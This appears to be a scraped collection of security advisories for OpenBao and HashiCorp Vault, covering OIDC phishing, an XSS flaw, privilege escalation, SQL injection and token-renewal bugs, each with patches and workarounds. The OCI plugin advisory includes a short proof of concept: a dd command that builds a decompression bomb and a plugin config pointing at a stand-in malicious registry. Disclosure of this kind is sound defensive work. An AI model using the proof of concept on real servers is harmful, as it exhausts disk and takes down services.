Impact

OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with callbackmode set to direct.

This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the direct mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued.

Patches Version 2.5.2 includes an additional confirmation screen for direct type logins that requires manual user interaction in order to finish the authentication.

Workarounds This issue can be worked around either by removing any roles with callbackmode=direct or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.

Impact

OpenBao installations that have an OIDC/JWT authentication method enabled and a role with callbackmode=direct configured are vulnerable to XSS via the errordescription parameter on the page for a failed authentication.

This allows an attacker access to the token used in the Web UI by a victim.

Patches The errordescription parameter has been replaced with a static error message in v2.5.2

Workarounds The vulnerability can be mitigated by removing any roles with callbackmode set to direct.

Impact

Similar to HCSEC-2025-13 / CVE-2025-5999, a privileged operator could use the identity group subsystem to add a root policy to a group identity group, escalating their or another user's permissions in the system. Specifically this is an issue when:

1. An operator in the root namespace has access to identity/groups endpoints. 2. An operator does not have policy access.

Otherwise, an operator with policy access could create or modify an existing policy to grant root-equivalent permissions through the sudo capability.

Patches

Patched in version 2.4.4.

Workarounds

Users should audit the use of identity subsystem and deny operators access if it is not in use.

A privileged Vault operator with write permissions to the root namespace’s identity endpoint could escalate their own or another user’s privileges to Vault’s root policy. Fixed in Vault Community Edition 1.18.0 and Vault Enterprise 1.18.0, 1.17.7, 1.16.11, and 1.15.16.

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao installations that have an OIDC/JWT authentication method enabled and a role with callbackmode=direct configured are vulnerable to XSS via the errordescription parameter on the page for a failed authentication. This allows an attacker access to the token used in the Web UI by a victim. The errordescription parameter has been replaced with a static error message in v2.5.2. The vulnerability can be mitigated by removing any roles with callbackmode set to direct.

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with callbackmode set to direct. This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the direct mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued. Version 2.5.2 includes an additional confirmation screen for direct type logins that requires manual user interaction in order to finish the authentication. This issue can be worked around either by removing any roles with callbackmode=direct or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.

Vault Community and Vault Enterprise Key/Value (kv) Version 2 plugin may unintentionally expose sensitive information in server and audit logs when users submit malformed payloads during secret creation or update operations via the Vault REST API. This vulnerability, identified as CVE-2025-4166, is fixed in Vault Community 1.19.3 and Vault Enterprise 1.19.3, 1.18.9, 1.17.16, 1.16.20.

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

go if , copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit. The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

1. Set up a malicious OCI registry 2. Create a decompression bomb binary: bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binaryname = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } pluginautodownload = true 6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

- Denial of Service: Disk exhaustion on the OpenBao server - Cascading failure: Co-located services (databases, other apps) also fail when the disk is full - Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up - Repeated exploitation: On SIGHUP or restart with pluginautodownload = true, the bomb is re-downloaded

Remediation

1. Validate header.Size against a configurable maximum before opening the output file 2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy 3. Add a maxsize configuration field to PluginConfig for operator control (default: 1 GiB)

Impact

When OpenBao revoked privileges on a role in the PostgreSQL database secrets engine, OpenBao failed to use proper database quoting on schema names provided by PostgreSQL. This could lead to role revocation failures, or more rarely, SQL injection as the management user.

This vulnerability was originally from HashiCorp Vault.

Patches

This was addressed in v2.5.3.

Workarounds

Audit table schemas and ensure database users cannot create new schemas and grant privileges on them.

Impact

When OpenBao's initial namespace deletion fails, subsequent retries fail to properly remove all data before marking the namespace as deleted. This can affect any outstanding leases as well as potentially leaving unrelated storage entries around.

Patches

This will be patched in OpenBao v2.5.3.

Workarounds

Users may manually remove mounts prior to deleting the namespace.

Audit logs may be used to identify repeated deletion attempts against the same namespace; sys/raw can be used to see what leases were not correctly deleted.

Impact

OpenBao's namespaces provide multi-tenant separation. A tenant who leaks token accessors can have their token revoked or renewed by a privileged administrator in another tenant.

Patches

This was addressed in v2.5.3.

Background

OpenBao's Certificate authentication method, when a token renewal is requested and disablebinding=true is set, attempts to verify the current request's presented mTLS certificate matches the original. Token renewals for other authentication methods do not require any supplied login information.

Impact

Due to incorrect matching, the certificate authentication method would allow renewal of tokens for which the attacker had a sibling certificate+key signed by the same CA, but which did not necessarily match the original role or the originally supplied certificate. This implies an attacker could still authenticate to OpenBao in a similar scope, however, token renewal implies that an attacker may be able to extend the lifetime of dynamic leases held by the original token. This attack requires knowledge of either the original token or its accessor.

This vulnerability is originally from HashiCorp Vault.

Patches

This has been addressed in v2.5.3.

Workarounds

Ensure privileged roles are tightly scoped to single certificates.